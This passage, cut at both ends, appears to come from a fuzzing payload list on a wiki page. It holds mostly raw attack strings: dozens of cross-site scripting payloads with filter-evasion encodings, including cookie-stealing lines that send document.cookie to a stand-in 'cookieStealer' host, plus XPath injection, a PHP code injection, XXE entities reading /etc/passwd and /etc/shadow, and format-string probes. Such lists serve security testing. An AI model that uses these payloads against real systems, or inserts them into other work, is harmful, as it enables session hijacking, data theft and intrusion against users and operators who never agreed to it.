url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> 